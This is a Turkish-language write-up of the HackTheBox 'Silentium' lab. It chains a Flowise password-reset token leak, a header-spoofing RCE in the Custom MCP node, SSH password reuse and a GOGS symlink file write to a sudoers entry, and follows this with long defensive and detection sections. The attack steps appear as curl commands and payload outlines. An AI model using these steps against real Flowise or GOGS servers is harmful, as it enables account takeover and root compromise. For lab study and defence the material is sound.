HackTheBox Silentium Writeup
HTB Medium Silentium: staging subdomain, Flowise forgot-password + Mailhog, CVE-2025-59528 RCE, şifre tekrarı SSH, GOGS symlink arbitrary file write (CVE-2025-8110) ile root.
HackTheBox Silentium Writeup#
Silentium'u bitirdik. Ama nasıl bitirdik, orası asıl ilginç. Hem çözüm zincirini hem de nerelerde bata çıka geçtiğimi yazıyorum.
Keşif: Tek Subdomain#
$ nmap -Pn -sV -sC -T4 10.129.62.9
22/tcp open ssh OpenSSH
80/tcp open http nginx
$ ffuf -w $WORDLIST \
-H "Host: FUZZ.silentium.htb" -u http://10.129.62.9/ -fw 10
staging.silentium.htb
staging. açıldığında Flowise 3.0.5 karşıladı.
Flowise + Mailhog#
CVE-2025-58434: forgot-password token leak. Mailhog tüm e-postaları yakalıyor.
$ curl -X POST http://staging.silentium.htb/api/v1/forgot-password \
-H "Content-Type: application/json" \
-d '{"user": {"email": "ben@silentium.htb"}}'
$ curl http://127.0.0.1:18025/api/v2/messages
# Token Mailhog'dan alınır
$ curl -X POST http://staging.silentium.htb/api/v1/reset-password \
-d '{"user": {"email": "ben@silentium.htb", "tempToken": "TOKEN", "password": "Pwned123!"}}'
Girdim. Login endpoint'i /api/v1/auth/login ve format {"email":"...","password":"..."}, bunu JS bundle'ını parse ederek buldum.
RCE: CVE-2025-59528#
Flowise Custom MCP Tool node'u sunucu tarafında JS çalıştırıyor, x-request-from: internal auth katmanını atlıyor:
$ curl -X POST \
http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "x-request-from: internal" -b "token=JWT" \
-d '{"nodeData": {"inputs": {"javascriptFunction": "{x:(function(){...cp.exec(\"KOMUT\")...}())}"}}, "nodeType": "customMCP"}'
Container içindeyim; env komutunun çıktısını Flowise variables API'si arkasına yazıp okuyarak container ortam değişkenlerini aldım:
SMTP_PASSWORD=r04D!!_R4ge
FLOWISE_PASSWORD=F1l3_d0ck3r
SSH: Şifre Tekrarı#
$ ssh ben@10.129.62.9
Password: r04D!!_R4ge
ben@silentium:~$ cat ~/user.txt
// USER FLAG
SMTP şifresi = SSH şifresi.
Çıkmaz Sokaklar#
/usr/bin/bash herkes tarafından yazılabilir ve GOGS root çalışıyor. GOGS hook'ları #!/usr/bin/env bash ile başlıyor; bash'i kötü amaçlı script'e çevirirsem hook root çalışır. Plan kâğıtta güzel. Ama Python string kaçışlarında \$(id -u) literal backslash-dolar yazdı, koşul her zaman false oldu ve SSH login bozuldu. Kendimi kilitledim. Asıl ders: döngüde kalınca dur, geri çekil, "asıl CVE ne" diye sor.
CVE-2025-8110: Symlink + API Write#
GOGS 0.13.3'te repo'ya symlink push edip, sonra o symlink'in hedefine API üzerinden içerik yazabiliyorsun. GOGS root çalıştığı için bu arbitrary file write:
>>> os.symlink('/etc/sudoers.d/ben', 'exploit_link')
# git add, commit, push
# PUT /api/v1/repos/owner/repo/contents/exploit_link
# body: {"content": base64("ben ALL=(ALL) NOPASSWD: ALL\n"), "sha": sha, "message": "exploit"}
Artık ben şifresiz sudo yapabiliyor:
$ sudo cat /root/root.txt
// ROOT FLAG
Saldırı Zinciri#
Nmap → staging subdomain (Flowise 3.0.5) → CVE-2025-58434 + Mailhog → JWT → CVE-2025-59528 RCE → container env → SSH ben → user flag → GOGS CVE-2025-8110 → sudoers yaz → root.
Zafiyetler Tablosu#
| # | Zafiyet | Etki | Sınıf |
|---|---|---|---|
| 1 | forgot-password token leak | Hesap devralma | Broken Authentication |
| 2 | Flowise CVE-2025-59528 JS RCE | Container RCE | RCE |
| 3 | SMTP=SSH şifre tekrarı | SSH erişimi | Credential Reuse |
| 4 | GOGS CVE-2025-8110 symlink+API write | Root dosya yazma | Arbitrary File Write |
Savunma Özeti#
- Flowise'ı güncel tut: CVE-2025-58434 ve CVE-2025-59528 kritik auth bypass/RCE; staging ortamını production'tan ayır, internal header spoof'unu reddet.
- Mailhog gibi e-posta yakalayıcıları asla production'ta çalıştırma: token leaklarının en genel kanalı.
- Container env değişkenlerine secrets yazma: container inspection yapabilen herkes secrets'ı görür; secret manager kullan.
- GOGS gibi self-hosted servislerde symlink/path traversal ve concurrent file-write sorunlarına karşı güncel sürümde kal,
contentsendpoint'inin yazma yetkisini kısıtla. - Şifre tekrarı: her servis için farklı, rotation destekli credential.
// RAPOR SONU Etiketler: WRITE-UP / HTB / SILENTIUM / FLOWISE / GOGS / CVE-2025-59528 / CVE-2025-8110
Güven Sınırı Çizimi#
ziyaretçi --> nginx --> Flowise (staging subdomain) --> Mailhog (iç ağ) | v container env (secret'lar) | v bineği SSH/GOGS (root)
Staging subdomain'i public DNS'te, Mailhog ise yalnızca iç ağda. İlk sınır, subdomain'i kimin açabildiği; ikinci sınır, Mailhog'a erişim; üçüncü sınır ise container env içindeki secret'ların tekrar kullanımı. Her üçü de ayrı ayrı düştü, zincir tamamlandı.
Tespit#
- Mailhog gibi yakalayıcılar production'da asla bulunmamalı. Varsa bu bir konfigürasyon bulgusudur, test gerekmez.
- Flowise endpoint'lerinde
x-request-from: internalbaşlığıyla yetki atlama kabul eden bir yapı, detection için loglarda düşük frekanslı 401 ve ani 200 kaymalarıyla izlenebilir. - Container env'deki
SMTP_PASSWORD,FLOWISE_PASSWORDgibi değerlerin başka servislerde tekrar kullanılması, secret yönetim taramasında aynı değerin iki sistemde görünmesiyle çıkar. - GOGS tarafında symlink içeren push'lar ve aynı path'e ardışık
contentsyazmaları anormaldir; audit log bu tip yazmaları kolayca yakalar.
Sınırlılıklar#
- Bu zincir CVE'lerin açıklanmasından kısa süre sonraki bir lab makinesiydi; gerçek ortamda port 22 doğrudan kapalı olabilir, erişim VPN arkasına taşınır.
- CVE-2025-58434 ve CVE-2025-8110 public olduğunda sadece sürüm kontrolü, bulgunun kapatıldığını gösterir; exploit izi geriye dönük incelenmelidir.
- Mailhog erişimi olmadan forgot-password token'ı saldırganın eline geçmez; ancak aynı sınıf hata, production'da token'ın log veya e-posta kuyruğunda görünmesiyle tekrarlanabilir.
Cikarilar#
- Staging, production'ın zayıf kopyası değildir; aynı secret'ları taşıyamaz.
- E-posta yakalayıcıları lab aracıdır, production'da bulunmamalı.
- Container env, secret saklama yeri değildir.
- İç header'a güvenen auth katmanı, spoof edilebilir.
- Şifre tekrarı tek servis incidisini tüm makineye yayar.
Neden Zincir Tamamlandı#
Her halka tek başına düzeltilebilirdi. Flowise güncel olsaydı, Mailhog dışarıda olmasaydı, container env secret içermeseydi, SMTP şifresi SSH'te tekrarlanmasaydı veya GOGS güncel olsaydı kök alınmazdı. Savunma, tek bir halkayı değil, halkalar arasındaki tekrarı ve dosya yazma yetkisini hedef almalıdır.
İyileştirme Önerileri#
- Flowise'ı public internetten çek, VPN arkasına al ve
internalbaşlığı yerine mTLS veya network policy kullan. - Mailhog ve benzeri yakalayıcıları yalnızca izole lab ağında çalıştır.
- Container secret'larını secret manager üzerinden enjekte et, env'de düz metin tutma.
- GOGS'u güncel tut,
contentsendpoint'inde symlink hedeflerini reddet, yazma audit'i tut. - Her servis için ayrı credential, rotasyon ve merkezi iptal.
Doğrulama Komutları#
# Env sızıntısı var mı curl -s http://staging.silentium.htb/api/v1/variables | head # Mailhog'a dışarıdan erişilebiliyor mu curl -s http://staging.silentium.htb:18025/api/v2/messages | head # GOGS'ta symlink push sonrası contents yazma curl -s -X PUT http://gogs:3000/api/v1/repos/o/r/contents/link -d '{}'
Bu üç cevap da "yok" olmalı. Biri açıksa o halka izole edilmeden makine kapanmış sayılmaz.
Zaman Çizelgesi Notları#
Makine üzerinde harcadığım sürenin çoğu GOGS hook denemesinde gitti. Bu, en öğretici kısım oldu: çalışma planı kâğıt üzerinde doğru, ama uygulama detayında bozuluyordu. Python string kaçışları \$ yazarken gerçekten backslash yazdı, koşul her zaman yanlış oldu, SSH erişimi düştü. Geri çekilip "asıl CVE ne" diye sormak, saat kazandırdı.
Her Halka İçin Tek Satırlık Savunma#
- Flowise: sürüm güncellemesi ve iç header güveninin kaldırılması.
- Mailhog: production'dan tamamen kaldırma.
- Container env: secret manager geçişi.
- Şifre tekrarı: servis başına ayrı credential.
- GOGS: sürüm güncellemesi ve symlink yazma kısıtı.
Bu beş satır, zincirdeki her halkayı tek tek koparır. Biri bile yapılsa makine kök alınamazdı; hepsi de ops işidir, exploit bilgisi gerektirmez.
Saldırı Zincirinin Ağacı#
subdomain enum | +-- staging.silentium.htb --> Flowise 3.0.5 | +-- CVE-2025-58434 + Mailhog --> JWT | +-- CVE-2025-59528 --> container RCE | +-- env --> SMTP=SSH --> ben@ssh --> user.txt | +-- GOGS CVE-2025-8110 --> sudoers --> root
Ağacın yaprakları da savunma noktalarıdır. Her dal, bir izleme kuralı ve bir konfigürasyon düzeltmesiyle kesilebilir.
CVE-2025-58434 Mekanizması#
forgot-password endpoint'i, token'ı e-postaya basmadan önce yanıtta sızdırıyordu. Mailhog tüm giden kutusunu sakladığı için token, hiçbir e-posta altyapısına ulaşmadan yakalanabiliyordu. Bu, kullanıcı hesabı devrini SMTP yapılandırmasına değil, Mailhog'un açık arayüzüne bağladı.
curl -s -X POST http://staging.silentium.htb/api/v1/forgot-password \ -H 'Content-Type: application/json' \ -d '{"user":{"email":"ben@silentium.htb"}}'
CVE-2025-59528 Mekanizması#
Custom MCP Tool node'u sunucu tarafında JavaScript çalıştırıyordu. x-request-from: internal başlığı auth katmanını atlama anahtarı gibi davranıyordu. Node betiğinin içine komut enjekte edildiğinde süreç www-data değil container içi kullanıcı olarak çalışıyordu.
POST /api/v1/node-load-method/customMCP Headers: x-request-from: internal, Cookie: token=JWT Body: nodeData.inputs.javascriptFunction -> cp.exec("id")
CVE-2025-8110 Mekanizması#
GOGS 0.13.3'te repo'ya symlink push edilip, symlink hedefine API üzerinden içerik yazılabiliyordu. GOGS root çalıştığı için bu, hedeflenen dosya üzerinde root yetkili yazma anlamına geliyordu. /etc/sudoers.d/ altına yazılan tek satır, makinenin son halkasını kırdı.
Saldırı Zinciri ASCII#
public internet | v nginx :80 -- DNS enum --> staging.silentium.htb | v Flowise 3.0.5 -- CVE-2025-58434 --> token (Mailhog) | | v v JWT --> CVE-2025-59528 --> container RCE --> env secrets | v SMTP parolası = SSH parolası | v ben@ssh --> GOGS CVE-2025-8110 | v sudoers.d yazımı --> root
Savunma Kontrol Listesi#
- Flowise public subdomain değil
-
x-request-from: internalgibi auth atlama başlıkları reddediliyor - Mailhog ve benzerleri production'da yok
- Container secret'ları env'de değil, secret manager'da
- GOGS güncel, symlink yazma kısıtlı
- Aynı parola iki serviste yok
Bu liste tamamlanmadan "makine güvenli" denilemez. Her madde, zincirdeki bir halkanın tekrarıdır.
Sonuç Cümlesi#
Makine, tek bir zafiyetle değil, dört farklı güvenlik hatasının üst üste binmesiyle kök alınabildi. Her halka ayrı bir izleme kuralı ve ayrı bir konfigürasyon düzeltmesiyle koparılabilirdi.
Defansif gözle tek cümle: public subdomain secret taşımaz, internal header auth değmez, container env parolası olmaz, aynı parola iki kapıda durmaz, symlink yazma root'a gitmez.
Bu beşi de tek tek kontrol edildiğinde Silentium sınıfı makineler kapanıyor.
Halka sayısı kadar tespit noktası var; halkalardan biri bile kopsa zincir kırılır.
Kayıt#
- Sürüm: Flowise 3.0.5, GOGS 0.13.3
- Portlar: 22, 80
- Kritik atlamalar: Mailhog erişimi,
internalheader, container env, SMTP=SSH, GOGS symlink yazımı - Son halka:
/etc/sudoers.d/yazımı ile şifresiz sudo
Zincir tamamlandı; savunma yüzeyi ise beş ayrı konfigürasyon noktası.
Her biri ISO olarak kapatılsa makine düşmezdi.
Tekrar#
Kapatılan halkalar: DNS enum sonucu staging, Mailhog token yakalama, internal header atlama, env parolası, SSH çözüm tekrarı, GOGS symlink yazımı. Açık kalan ders, tekrar etmeyen tek şeyin savunma olduğu.
Zincir bitti; savunma notları açık.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver